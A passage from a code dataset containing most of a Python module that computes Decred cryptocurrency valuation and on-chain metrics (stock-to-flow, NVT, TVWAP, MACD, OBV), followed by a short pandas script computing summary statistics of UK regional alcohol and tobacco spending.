SubsidyCapUSD = Total Block Subsidy Cap (USD)\n AdjSubsidyCapUSD = Adjusted Subsidy Cap (USD)\n AdjSubsidyPriceUSD = Adjusted Subsidy Price (USD)\n \"\"\"\n\n #Block Subsidy Models\n df['SubsidyPoWCapBTC'] = df['PoW_income_btc'].cumsum()\n df['SubsidyPoSCapBTC'] = df['PoS_income_btc'].cumsum()\n df['SubsidyFundCapBTC'] = df['Fund_income_btc'].cumsum()\n df['SubsidyCapBTC'] = df['Total_income_btc'].cumsum()\n\n #Adjusted Supply Issued Cap (EXPERIMENTAL)\n df['AdjSubsidyCapBTC'] = df['SubsidyCapBTC'] *10*(101/100)**(np.floor(df['blk']/6144))\n df['AdjSubsidyPriceBTC'] = df['AdjSubsidyCapBTC'] / df['SplyCur']\n\n print(\n \"\"\"\n ADDED COLUMNS:\n SubsidyPoWCapUSD = PoW Block Subsidy Cap (USD)\n SubsidyPoSCapUSD = PoS Block Subsidy Cap (USD)\n SubsidyFundCapUSD = Treasury Block Subsidy Cap (USD)\n SubsidyCapUSD = Total Block Subsidy Cap (USD)\n AdjSubsidyCapUSD = Adjusted Subsidy Cap (USD)\n AdjSubsidyPriceUSD = Adjusted Subsidy Price (USD)\n \"\"\"\n )\n\n return df\n\n def metric_issued_cap(self,df):\n \"\"\"\n Calculates Issued Cap adjusting for inflation\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n IssuedCapUSD = Issued Cap Adjusting for Inflation (USD)\n IssuedPriceUSD = Issued Price Adjusting for Inflation (USD)\n IssuedCapBTC = Issued Cap Adjusting for Inflation (BTC)\n IssuedPriceBTC = Issued Price Adjusting for Inflation (BTC)\n \"\"\"\n df['IssuedCapUSD'] = df['DailyIssuedNtv'] * df['PriceUSD']\n df['IssuedCapUSD'] = df['IssuedCapUSD'].cumsum()\n df['IssuedCapUSD'] = df['IssuedCapUSD'] *10*(101/100)**(np.floor(df['blk']/6144))\n df['IssuedPriceUSD'] = df['IssuedCapUSD'] / df['SplyCur']\n\n df['IssuedCapBTC'] = df['DailyIssuedNtv'] * df['PriceBTC']\n df['IssuedCapBTC'] = df['IssuedCapBTC'].cumsum()\n df['IssuedCapBTC'] = df['IssuedCapBTC'] *10*(101/100)**(np.floor(df['blk']/6144))\n df['IssuedPriceBTC'] = df['IssuedCapBTC'] / df['SplyCur']\n\n print(\n \"\"\"\n ADDED COLUMNS:\n IssuedCapUSD = Issued Cap Adjusting for Inflation (USD)\n IssuedPriceUSD = Issued Price Adjusting for Inflation (USD)\n IssuedCapBTC = Issued Cap Adjusting for Inflation (BTC)\n IssuedPriceBTC = Issued Price Adjusting for Inflation (BTC)\n \"\"\"\n )\n\n return df\n\n def metric_s2f_model(self,df):\n \"\"\"\n Decred stock-to-flow Model in USD\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n S2F_CapMr_predict = S2F Cap (Checkmate)\n S2F_Price_predict = S2F Price (Checkmate)\n S2F_CapMr_multiple = S2F Multiple (Checkmate)\n S2F_CapMr_predict_PB = S2F Cap (Plan B)\n S2F_Price_predict_PB = S2F Price (Plan B)\n S2F_CapMr_multiple_PB = S2F Multiple (Plan B)\n \"\"\" \n df = df.dropna(axis=0)\n \n #Run OLS Linear Regression for full dataset\n x = 'S2F'\n y = 'CapMrktCurUSD'\n\n analysis = regression_analysis().ln_regression_OLS(df,x,y,True)\n df = analysis['df']\n reg_model = analysis['model']\n df['S2F_Price_predict'] = df['S2F_CapMr_predict'] / df['SplyCur']\n\n #Calc S2F Model - Bitcoins Plan B Model\n df['S2F_Price_predict_PB'] = np.exp(-1.84)*df['S2F']**3.36\n df['S2F_CapMr_predict_PB'] = df['S2F_Price_predict_PB'] * df['SplyCur']\n df['S2F_Price_multiple_PB'] = df['PriceUSD'] / df['S2F_Price_predict_PB']\n #Trim first value due to genesis spiking S2F results\n df = df[1:]\n\n print(\n \"\"\"\n ADDED COLUMNS:\n S2F_CapMr_predict = S2F Cap (Checkmate)\n S2F_Price_predict = S2F Price (Checkmate)\n S2F_CapMr_multiple = S2F Multiple (Checkmate)\n S2F_CapMr_predict_PB = S2F Cap (Plan B)\n S2F_Price_predict_PB = S2F Price (Plan B)\n S2F_CapMr_multiple_PB = S2F Multiple (Plan B)\n \"\"\" \n )\n\n return df, reg_model\n\n def metric_mayer_multiple(self,df):\n \"\"\"\n Mayer Multiple\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n Mayer_Multiple = Mayer Multiple (PriceUSD/200DMA)\n 200DMA = 200DMA of PriceUSD\n 128DMA = 128DMA of PriceUSD\n \"\"\"\n df['Mayer_Multiple'] = (\n df['PriceUSD']\n / df['PriceUSD'].rolling(200).mean()\n )\n df['200DMA'] = df['PriceUSD'].rolling(200).mean()\n df['128DMA'] = df['PriceUSD'].rolling(128).mean()\n\n print(\n \"\"\"\n ADDED COLUMNS:\n Mayer_Multiple = Mayer Multiple (PriceUSD/200DMA)\n 200DMA = 200DMA of PriceUSD\n 128DMA = 128DMA of PriceUSD\n \"\"\"\n )\n\n return df\n\n def metric_puell_multiple(self,df):\n \"\"\"\n Puell Multiple\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n Puell_Multiple = Puell Multiple (PriceUSD/200DMA)\n \"\"\"\n #Calculate Puell Multiple expanding from 0 to 365 day MA\n df['Puell_Multiple'] = 0\n for i in df.index:\n _a = min(i,364)\n _b = df['DailyIssuedUSD'].rolling(_a).mean().loc[i]\n _c = df.loc[i,'DailyIssuedUSD']\n df.loc[i,'Puell_Multiple'] = _c / _b\n\n print(\n \"\"\"\n ADDED COLUMNS:\n Puell_Multiple = Puell Multiple (PriceUSD/200DMA)\n \"\"\"\n )\n\n return df\n\n def metric_contractor_multiple(self,df):\n \"\"\"\n Contractor Multiple\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n Contractor_Multiple = Contractor Multiple (PriceUSD/30DMA)\n \"\"\"\n #Calculate Contractor Multiple expanding from 0 to 30 day MA\n df['Contractor_Multiple'] = df['PriceUSD'] / df['PriceUSD'].rolling(30).mean()\n #Construct df with vertical lines at \n treasury = dcr_add_metrics().dcr_treasury()\n\n print(\n \"\"\"\n ADDED COLUMNS:\n Contractor_Multiple = Contractor Multiple (PriceUSD/30DMA)\n \"\"\"\n )\n\n return df\n\n def metric_treasury_payments(self,df):\n \"\"\"\n Treasury Payments - builds df with prices on 1st and on date of pay\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n Contractor_Multiple = Contractor Multiple (PriceUSD/30DMA)\n \"\"\"\n #Extract date and month of input df\n _df = df\n _df['year'] = df['date'].dt.year\n _df['month'] = df['date'].dt.month\n _df['day'] = df['date'].dt.day\n _df['Price30DMA'] = df['PriceUSD'].rolling(30).mean().fillna(df['PriceUSD'])\n #Extract date and month of treasury payments\n treasury = dcr_add_metrics().dcr_treasury()\n treasury['year'] = treasury['date'].dt.year\n treasury['month'] = treasury['date'].dt.month\n treasury['day'] = treasury['date'].dt.day\n #Add price and value columns\n treasury = treasury.merge(_df[['date','PriceUSD']],on='date',copy=False)\n treasury['received_usd'] = treasury['received_dcr'] * treasury['PriceUSD'] \n treasury['sent_usd'] = treasury['sent_dcr'] * treasury['PriceUSD'] \n\n #Build a Dataframe with:\n # Month and Year index\n # Price on the 1st of the month\n # 30DMA of price on the 1st of the month (Contractor billed rate)\n # Spend weighted average price from the treasury\n # Date of first Treasury payday\n df_pay = pd.DataFrame(columns=['year','month','PayDayAvg','Price_1st','Price30DMA_1st','PricePayAvg','PayDCRTot','PayTotUSD'])\n count = 0\n #Iterate over unique year (i) and month (j)\n for i in treasury.year.unique():\n for j in treasury[treasury['year']==i].month.unique():\n df_pay.loc[count,'year'] = i\n df_pay.loc[count,'month'] = j\n try:\n #Price and 30DMA as of 1st of month (Contractor billed against)\n _df_temp = _df[\n (_df['day']==1) & \n (_df['month']==j) & \n (_df['year']==i)\n ]\n df_pay.loc[count,'Price_1st'] = float(_df_temp.loc[:,'PriceUSD'])\n df_pay.loc[count,'Price30DMA_1st'] = float(_df_temp.loc[:,'Price30DMA'])\n if (i==2016) & (j==2):\n df_pay.loc[count,'Price_1st'] = float(_df.loc[0,'PriceUSD'])\n df_pay.loc[count,'Price30DMA_1st'] = float(_df.loc[0,'Price30DMA'])\n \n #Calculate spend average Treasury spend and payday date\n _treasury = treasury[\n (treasury['year']==i) &\n (treasury['month']==j) &\n (treasury['sent_dcr']>0)\n ]\n #Total DCR paid that month\n df_pay.loc[count,'PayDCRTot'] = _a = float(_treasury['sent_dcr'].sum())\n #Average USD price of DCR paid that month\n df_pay.loc[count,'PricePayAvg'] = float(_treasury['sent_usd'].sum()) / _a\n #Total USD Paid that Month\n df_pay['PayTotUSD'] = df_pay['PayDCRTot'] * df_pay['PricePayAvg']\n #DCR weighted average PayDay\n if _a == 0: #if no pay that month\n pass\n else:\n _b = _treasury['date'].dt.day * _treasury['sent_dcr']\n _c = int(_b.sum()/_a)\n df_pay.loc[count,'PayDayAvg'] = _c\n except:\n if (i==2016) & (j==2):\n df_pay.loc[count,'Price_1st'] = float(_df.loc[0,'PriceUSD'])\n df_pay.loc[count,'Price30DMA_1st'] = float(_df.loc[0,'Price30DMA'])\n count += 1\n df_pay['date'] = pd.to_datetime(pd.DataFrame({\n 'year': df_pay['year'],\n 'month': df_pay['month'],\n 'day': df_pay['PayDayAvg']\n }))\n\n print(\n \"\"\"\n ADDED COLUMNS:\n Contractor_Multiple = Contractor Multiple (PriceUSD/30DMA)\n \"\"\"\n )\n\n return df\n\n def metric_beam_indicator(self,df):\n \"\"\"\n Contractor Multiple\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n BEAM = BEAM Indicator\n BEAM_lower = BEAM Indicator Upper Bound\n BEAM_upper = BEAM Indicator Lower Bound\n \"\"\"\n for i in df.index:\n _a = min(i,1400)\n _b = df['PriceUSD'].rolling(_a).mean().loc[i] * 0.4\n _c = df.loc[i,'PriceUSD']\n df.loc[i,'BEAM'] = np.log(_c / _b) / 1\n df.loc[i,'BEAM_lower'] = _b\n df.loc[i,'BEAM_upper'] = _b * 15.2281175\n\n print(\n \"\"\"\n ADDED COLUMNS:\n BEAM = BEAM Indicator\n BEAM_lower = BEAM Indicator Upper Bound\n BEAM_upper = BEAM Indicator Lower Bound\n \"\"\"\n )\n return df\n\n def metric_nvt_rvt(self,df,mode):\n \"\"\"\n NVT and RVT Ratio\n INPUT:\n df = DataFrame\n mode: 0 = TxTfrValUSD\n mode: 1 = TxTfrValAdjUSD\n ADDED COLUMNS:\n NVT_28 = NVT 28DMA\n NVT_90 = NVT 90DMA\n NVTS = NVT Signal\n RVT_28 = RVT 28DMA\n RVT_90 = RVT 90DMA\n RVTS = RVT Signal\n \"\"\"\n #Calculate NVT and RVT 28 and 90DMA\n\n if mode == 0:\n metric = 'TxTfrValUSD'\n else:\n metric = 'TxTfrValAdjUSD'\n print(metric)\n \n for i in [28,90]:\n name_nvt = 'NVT_' + str(i)\n name_rvt = 'RVT_' + str(i)\n\n df[name_nvt] = (\n df['CapMrktCurUSD'].rolling(i).mean()\n / df[metric].rolling(i).mean()\n )\n\n df[name_rvt] = (\n df['CapRealUSD'].rolling(i).mean()\n / df[metric].rolling(i).mean()\n )\n \n #Calculate NVTS and RVTS (28DMA on Tx only)\n if i == 28:\n df['NVTS'] = (\n df['CapMrktCurUSD']\n / df[metric].rolling(i).mean()\n )\n \n df['RVTS'] = (\n df['CapRealUSD']\n / df[metric].rolling(i).mean()\n )\n \n print(\n \"\"\"\n ADDED COLUMNS:\n NVT_28 = NVT 28DMA\n NVT_90 = NVT 90DMA\n NVTS = NVT Signal\n RVT_28 = RVT 28DMA\n RVT_90 = RVT 90DMA\n RVTS = RVT Signal\n \"\"\"\n )\n return df\n\n def metric_TVWAP(self,df):\n \"\"\"\n NVT and RVT Ratio\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n 14day_TVWAP = 14-day Ticket Weighted Avg Price\n 14day_TVWAP_Cap = 14-day Ticket Weighted Avg Cap\n 14day_TVWAP_Ratio = 14-day TVWAP Ratio\n\n 28day_TVWAP = 28-day Ticket Weighted Avg Price\n 28day_TVWAP_Cap = 28-day Ticket Weighted Avg Cap\n 28day_TVWAP_Ratio = 28-day TVWAP Ratio\n\n 142day_TVWAP = 142-day Ticket Weighted Avg Price\n 142day_TVWAP_Cap = 142-day Ticket Weighted Avg Cap\n 142day_TVWAP_Ratio = 142-day TVWAP Ratio\n \"\"\"\n\n #14 Day TVWAP\n df['14day_TVWAP'] = (\n (df['tic_usd_cost'].rolling(14).sum()\n / df['dcr_tic_vol'].rolling(14).sum())\n )\n df['14day_TVWAP_Ratio'] = df['14day_TVWAP'] / df['PriceUSD']\n df['14day_TVWAP_Cap'] = df['14day_TVWAP'] * df['dcr_sply']\n\n\n #28 Day TVWAP\n df['28day_TVWAP'] = (\n (df['tic_usd_cost'].rolling(28).sum()\n / df['dcr_tic_vol'].rolling(28).sum())\n )\n df['28day_TVWAP_Ratio'] = df['28day_TVWAP'] / df['PriceUSD']\n df['28day_TVWAP_Cap'] = df['28day_TVWAP'] * df['dcr_sply']\n\n\n #142 Day TVWAP\n df['142day_TVWAP'] = (\n (df['tic_usd_cost'].rolling(142).sum()\n / df['dcr_tic_vol'].rolling(142).sum())\n )\n df['142day_TVWAP_Ratio'] = df['142day_TVWAP'] / df['PriceUSD']\n df['142day_TVWAP_Cap'] = df['142day_TVWAP'] * df['dcr_sply']\n\n print(\n \"\"\"\n ADDED COLUMNS:\n 14day_TVWAP = 14-day Ticket Weighted Avg Price\n 14day_TVWAP_Cap = 14-day Ticket Weighted Avg Cap\n 14day_TVWAP_Ratio = 14-day TVWAP Ratio\n\n 28day_TVWAP = 28-day Ticket Weighted Avg Price\n 28day_TVWAP_Cap = 28-day Ticket Weighted Avg Cap\n 28day_TVWAP_Ratio = 28-day TVWAP Ratio\n\n 142day_TVWAP = 142-day Ticket Weighted Avg Price\n 142day_TVWAP_Cap = 142-day Ticket Weighted Avg Cap\n 142day_TVWAP_Ratio = 142-day TVWAP Ratio\n \"\"\"\n )\n \n return df\n\n def metric_hodler_conversion(self,df):\n \"\"\"\n HODLer Conversion Rate\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n 142day_TVWAP = 142-day Ticket Weighted Avg Price\n 142day_TVWAP_Cap = 142-day Ticket Weighted Avg Cap\n 142day_TVWAP_Ratio = 142-day TVWAP Ratio\n hconv142d = 142-day HODLer Conversion Rate\n hconv142d_pos = hconv142d (positive only)\n hconv142d_neg = hconv142d (negative only)\n \"\"\"\n #142 Day TVWAP\n df['142day_TVWAP'] = (\n (df['tic_usd_cost'].rolling(142).sum()\n / df['dcr_tic_vol'].rolling(142).sum())\n )\n df['142day_TVWAP_Ratio'] = df['142day_TVWAP'] / df['PriceUSD']\n df['142day_TVWAP_Cap'] = df['142day_TVWAP'] * df['dcr_sply']\n\n #Calculate Hodler Conversion Rate\n df['hconv142d'] = (\n (df['dcr_tic_vol'].rolling(142).sum() \n / df['TxTfrValNtv'].rolling(142).sum())\n -\n (df['dcr_tic_vol'].rolling(28).sum() \n / df['dcr_sply'])\n )\n\n #Create positive and Negative datasets\n df['hconv142d_pos'] = np.where(df['hconv142d'] >= 0, df['hconv142d'], 0)\n df['hconv142d_neg'] = np.where(df['hconv142d'] < 0, df['hconv142d'], 0)\n\n print(\n \"\"\"\n ADDED COLUMNS:\n 142day_TVWAP = 142-day Ticket Weighted Avg Price\n 142day_TVWAP_Cap = 142-day Ticket Weighted Avg Cap\n 142day_TVWAP_Ratio = 142-day TVWAP Ratio\n hconv142d = 142-day HODLer Conversion Rate\n hconv142d_pos = hconv142d (positive only)\n hconv142d_neg = hconv142d (negative only)\n \"\"\"\n )\n return df\n \n def metric_strongest_hand(self,df):\n \"\"\"\n Strongest Hand\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n stronghand_cap_28 = 28-day Strongest Hand Cap\n stronghand_cap_28 = 142-day Strongest Hand Cap\n stronghand_ratio_28 = 28-day Strongest Hand Ratio\n stronghand_ratio_28 = 142-day Strongest Hand Cap\n stronghand_top_28 = 28-day Strong hand top band (x1.60)\n stronghand_btm_28 = 28-day Strong hand btm band (x1.00)\n stronghand_top_142 = 142-day Strong hand top band (x1.45)\n stronghand_btm_142 = 142-day Strong hand btm band (x0.60)\n \"\"\"\n _a = df['tic_usd_cost']\n df['stronghand_cap_28'] = _a.rolling(window=28).max() * 28\n df['stronghand_cap_142'] = _a.rolling(window=142).max() * 28\n\n df['stronghand_ratio_28'] = df['CapMrktCurUSD'] / df['stronghand_cap_28']\n df['stronghand_ratio_142'] = df['CapMrktCurUSD'] / df['stronghand_cap_142'] \n\n df['stronghand_top_28'] = df['stronghand_cap_28'] * (1.618) #1/0.618\n df['stronghand_btm_28'] = df['stronghand_cap_28'] * 1.00\n\n df['stronghand_top_142'] = df['stronghand_cap_142'] * 1.45\n df['stronghand_btm_142'] = df['stronghand_cap_142'] * 0.618\n\n print(\n \"\"\"\n ADDED COLUMNS:\n stronghand_cap_28 = 28-day Strongest Hand Cap\n stronghand_cap_28 = 142-day Strongest Hand Cap\n stronghand_ratio_28 = 28-day Strongest Hand Ratio\n stronghand_ratio_28 = 142-day Strongest Hand Cap\n stronghand_top_28 = 28-day Strong hand top band (x1.60)\n stronghand_btm_28 = 28-day Strong hand btm band (x1.00)\n stronghand_top_142 = 142-day Strong hand top band (x1.45)\n stronghand_btm_142 = 142-day Strong hand btm band (x0.60)\n \"\"\"\n )\n return df\n\n def metric_mining_pulse(self):\n \"\"\"\n Mining Pulse\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n miningpulse = Mining Pulse (seconds)\n miningpulse_pos = Mining Pulse positive (seconds)\n miningpulse_neg = Mining Pulse negative (seconds)\n \"\"\"\n df = dcrdata_api().dcr_performance() #dcrdata block time\n df['date'] = pd.to_datetime(df['time'],unit='s',utc=True) #Date from timestamp\n #Calculate mining pulse in seconds\n df['miningpulse'] = df['blk_time_s'].rolling(18144).mean() - 300\n\n df['miningpulse_pos'] = np.where(df['miningpulse'] >= 0, df['miningpulse'], 0)\n df['miningpulse_neg'] = np.where(df['miningpulse'] < 0, df['miningpulse'], 0)\n\n print(\n \"\"\"\n ADDED COLUMNS:\n miningpulse = Mining Pulse (seconds)\n miningpulse_pos = Mining Pulse positive (seconds)\n miningpulse_neg = Mining Pulse negative (seconds)\n \"\"\"\n )\n return df\n\n def metric_ticket_funding_rate(self,df):\n \"\"\"\n Ticket Funding Rates\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n tic_fund_rate = Ticket Funding Rate\n tic_fund_zscore = Ticket Funding Z-Score\n tic_fund_zscore_14d = 14-day Sum of ticket_funding_zscore\n \"\"\"\n #Calculate PoS_reward in ideal scenario\n blk_max = int(df['blk'].iloc[-1])\n sply = dcr_add_metrics().dcr_sply(blk_max)\n sply['PoS_reward'] = sply['PoSSply_ideal'].diff()/5\n df = df.merge(sply[['blk','PoS_reward']],on='blk',copy=False)\n \n df['tic_ROI'] = df['PoS_reward']/df['tic_price_avg']\n df['tic_fund_rate'] = df['tic_ROI'] - df['tic_ROI'].rolling(28).mean()\n df['tic_fund_zscore'] = (\n df['tic_fund_rate']\n - df['tic_fund_rate'].rolling(28).mean()\n ) / df['tic_fund_rate'].rolling(28).mean().std()\n df['tic_fund_zscore_14d'] = df['tic_fund_zscore'].rolling(14).sum()\n \n print(\n \"\"\"\n ADDED COLUMNS:\n tic_fund_rate = Ticket Funding Rate\n tic_fund_zscore = Ticket Funding Z-Score\n tic_fund_zscore_14d = 14-day Sum of ticket_funding_zscore\n \"\"\"\n )\n return df\n\n def metric_ticket_overunder(self,df):\n \"\"\"\n Ticket Over/Under Metric\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n tic_overunder = Ticket Over/Under Oscillator\n \"\"\"\n df['tic_overunder'] = (\n df['dcr_tic_vol'].rolling(28).sum()\n /\n df['dcr_tic_vol'].rolling(142).sum()\n )\n\n print(\n \"\"\"\n ADDED COLUMNS:\n tic_overunder = Ticket Over/Under Oscillator\n \"\"\"\n )\n\n return df\n\n def metric_tic_vol_sum_142day(self,df):\n \"\"\"\n 142-day Sum of USD Ticket Volume\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n tic_usd_cost_142sum = 142-day Sum of USD in Tickets\n tic_usd_cost_142sum_oscillator = 142-day Sum of USD in Tickets * 0.5\n \"\"\"\n df['tic_usd_cost_142sum'] = (\n df['tic_usd_cost'].rolling(142).sum()\n /df['dcr_sply']\n )\n df['tic_usd_cost_142sum_oscillator'] = (\n df['PriceUSD'] / (df['tic_usd_cost_142sum']*0.500)\n )\n\n print(\n \"\"\"\n ADDED COLUMNS:\n tic_usd_cost_142sum = 142-day Sum of USD in Tickets\n tic_usd_cost_142sum_oscillator = 142-day Sum of USD in Tickets * 0.5\n \"\"\"\n )\n\n return df\n\n def metric_tx_volatility_ratio(self,df):\n \"\"\"\n Transaction Volatility Ratio\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n tx_volatility_ratio = Tx USD volume 28DMA / Tx USD Volume 142DMA\n tx_volatility_ratio_Ntv = Tx DCR volume 28DMA / Tx DCR Volume 142DMA\n \"\"\"\n df['tx_volatility_ratio'] = (\n df['dcr_tfr_vol'].rolling(28).sum()\n /\n df['dcr_tfr_vol'].rolling(142).sum()\n )\n\n df['tx_volatility_ratio_Ntv'] = (\n df['TxTfrValAdjNtv'].rolling(28).sum()\n /\n df['TxTfrValAdjNtv'].rolling(142).sum()\n )\n\n print(\n \"\"\"\n ADDED COLUMNS:\n tx_volatility_ratio = Tx USD volume 28DMA / Tx USD Volume 142DMA\n tx_volatility_ratio_Ntv = Tx DCR volume 28DMA / Tx DCR Volume 142DMA\n \"\"\"\n )\n\n return df\n\n def metric_tx_sum_adjsply_28d_142d(self,df):\n \"\"\"\n 28 and 142-day sum of DCR moved divided by Circulating Supply\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n tx_dcr_28sum = 28-day Sum DCR TxTfr / Total Supply\n tx_dcr_28sum_adj = 28-day Sum DCR TxTfrAdj / Total Supply\n tx_dcr_142sum = 142-day Sum DCR TxTfr / Total Supply\n tx_dcr_142sum_adj = 142-day Sum DCR TxTfrAdj / Total Supply\n \"\"\"\n df['tx_dcr_28sum'] = df['TxTfrValNtv'].rolling(28).sum() / df['SplyCur']\n df['tx_dcr_28sum_adj'] = df['TxTfrValAdjNtv'].rolling(28).sum() / df['SplyCur']\n\n df['tx_dcr_142sum'] = df['TxTfrValNtv'].rolling(142).sum() / df['SplyCur']\n df['tx_dcr_142sum_adj'] = df['TxTfrValAdjNtv'].rolling(142).sum() / df['SplyCur']\n\n print(\n \"\"\"\n ADDED COLUMNS:\n tx_dcr_28sum = 28-day Sum DCR TxTfr / Total Supply\n tx_dcr_28sum_adj = 28-day Sum DCR TxTfrAdj / Total Supply\n tx_dcr_142sum = 142-day Sum DCR TxTfr / Total Supply\n tx_dcr_142sum_adj = 142-day Sum DCR TxTfrAdj / Total Supply\n \"\"\"\n )\n\n return df\n\n def metric_max_vol_ratio(self,df):\n \"\"\"\n Maximum Volume Ratio\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n max_vol_ratio_USD = Max Volume Ratio (USD)\n max_vol_ratio_BTC = Max Volume Ratio (BTC)\n \"\"\"\n df['max_vol_ratio_USD'] = (\n df['CapMrktCurUSD']\n /\n df['tic_usd_cost'].rolling(28).sum()\n )\n\n df['max_vol_ratio_BTC'] = (\n df['CapMrktCurBTC']\n /\n df['tic_btc_cost'].rolling(28).sum()\n )\n\n print(\n \"\"\"\n ADDED COLUMNS:\n max_vol_ratio_USD = Max Volume Ratio (USD)\n max_vol_ratio_BTC = Max Volume Ratio (BTC)\n \"\"\"\n )\n\n return df\n\n def metric_MACD(self,df):\n \"\"\"\n MACD Indicator\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n MACD = MACD Line\n Signal = Signal Line\n MACD_Hist = MACD Histogram Oscillator\n MACD_Hist_pos = MACD Histogram (positive)\n MACD_Hist_neg = MACD Histogram (negative)\n \"\"\"\n df['MACD'] = (\n df['PriceUSD'].ewm(com=12).mean()\n - df['PriceUSD'].ewm(com=26).mean()\n )\n df['Signal'] = df['MACD'].ewm(com=9).mean()\n df['MACD_Hist'] = df['MACD'] - df['Signal']\n\n #Create positive and Negative datasets\n df['MACD_Hist_pos'] = np.where(df['MACD_Hist'] >= 0, df['MACD_Hist'], 0)\n df['MACD_Hist_neg'] = np.where(df['MACD_Hist'] < 0, df['MACD_Hist'], 0)\n\n print(\n \"\"\"\n ADDED COLUMNS:\n MACD = MACD Line\n Signal = Signal Line\n MACD_Hist = MACD Histogram Oscillator\n MACD_Hist_pos = MACD Histogram (positive)\n MACD_Hist_neg = MACD Histogram (negative)\n \"\"\"\n )\n \n return df\n\n def metric_OBV(self,df):\n \"\"\"\n Onchain On Balance Volume Indicator\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n OBV_vol = Onchain volume + or - (TxTfrValUSD)\n OBV = OBV Value\n OBV_pos = OBV Value (Positive)\n OBV_neg = OBV Value (Negative)\n OBV_28_Indicator = OBV Indicator (OBV - 28-EMA)\n OBV_142_Indicator = OBV Indicator (OBV - 142-EMA)\n \"\"\"\n df['OBV'] = 0\n for index, row in df.iterrows():\n if index == 0:\n prev_price = row['PriceUSD']\n prev_obv = row['TxTfrValUSD'] \n else:\n if row['PriceUSD'] >= prev_price:\n df.loc[index,'OBV_vol'] = row['TxTfrValNtv']\n df.loc[index,'OBV_tic_vol'] = row['dcr_tic_vol']\n else:\n df.loc[index,'OBV_vol'] = row['TxTfrValNtv'] * -1\n df.loc[index,'OBV_tic_vol'] = row['dcr_tic_vol'] * -1\n \n prev_price = row['PriceUSD']\n\n #Total Volume\n df['OBV'] = df['OBV_vol'].cumsum()\n df['OBV_28_Indicator'] = df['OBV'] - df['OBV'].ewm(span=28).mean()\n df['OBV_142_Indicator'] = df['OBV'] - df['OBV'].ewm(span=142).mean()\n \n #Ticket Volume\n df['OBV_tic'] = df['OBV_tic_vol'].cumsum()\n df['OBV_tic_28_Indicator'] = df['OBV_tic'] - df['OBV_tic'].ewm(span=28).mean()\n df['OBV_tic_142_Indicator'] = df['OBV_tic'] - df['OBV_tic'].ewm(span=142).mean()\n \n ##Create positive and Negative datasets\n #df['OBV_pos'] = np.where(df['OBV_28_Indicator'] >= 0, df['OBV_28_Indicator'], 0)\n #df['OBV_neg'] = np.where(df['OBV_28_Indicator'] < 0, df['OBV_28_Indicator'], 0)\n \n print(\n \"\"\"\n ADDED COLUMNS:\n OBV_vol = Onchain volume + or - (TxTfrValUSD)\n OBV = OBV Value\n OBV_pos = OBV Value (Positive)\n OBV_neg = OBV Value (Negative)\n OBV_28_Indicator = OBV Indicator (OBV - 28-EMA)\n OBV_142_Indicator = OBV Indicator (OBV - 142-EMA)\n \"\"\"\n )\n return df\n\n\n\n\n#DCR_coin = dcr_add_metrics().dcr_coin()\n#DCR_diff = dcr_add_metrics().dcr_diff()\n#DCR_perf = dcr_add_metrics().dcr_perf()\n#DCR_natv = dcr_add_metrics().dcr_natv()\n#DCR_priv = dcr_add_metrics().dcr_priv()\n#DCR_real = dcr_add_metrics().dcr_real()\n#DCR_sply = dcr_add_metrics().dcr_sply(500000)\n#DCR_tics = dcr_add_metrics().dcr_ticket_models()\n","sub_path":"dcronchain/dcr_add_metrics.py","file_name":"dcr_add_metrics.py","file_ext":"py","file_size_in_byte":67855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"481771533","text":"import pandas as pd\nfrom scipy import stats\n\ndata = '''Region, Alcohol, Tobacco\n ...: North, 6.47, 4.03\n ...: Yorkshire, 6.13, 3.76\n ...: Northeast, 6.19, 3.77\n ...: East Midlands, 4.89, 3.34\n ...: West Midlands, 5.63, 3.47\n ...: East Anglia, 4.52, 2.92\n ...: Southeast, 5.89, 3.20\n ...: Southwest, 4.79, 2.71\n ...: Wales, 5.27, 3.53\n ...: Scotland, 6.08, 4.51\n ...: Northern Ireland, 4.02, 4.56'''\n# First, split the string on the (hidden characters that indicate) newlines\ndata = data.splitlines() # we could also do data.split('\\n')\n# Then, split each item in this list on the commas\n# the bracketed expression is a list comprehension\ndata = [i.split(', ') for i in data] \n# Now, convert create a pandas dataframe\ncolumn_names = data[0] # this is the first row\ndata_rows = data[1::] # these are all the following rows of data\ndf = pd.DataFrame(data_rows, columns=column_names)\ndf['Alcohol'] = df['Alcohol'].astype(float)\ndf['Tobacco'] = df['Tobacco'].astype(float)\ndf['Alcohol'].mean()\ndf['Alcohol'].median()\nstats.mode(df['Tobacco'])\n\nmax(df['Alcohol']) - min(df ['Alcohol'])\n\ndf['Alcohol'].std()\n\nmax(df['Tobacco']) - min(df['Tobacco'])\n\ndf['Tobacco'].std()\ndf['Tobacco'].var()\n","sub_path":"stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
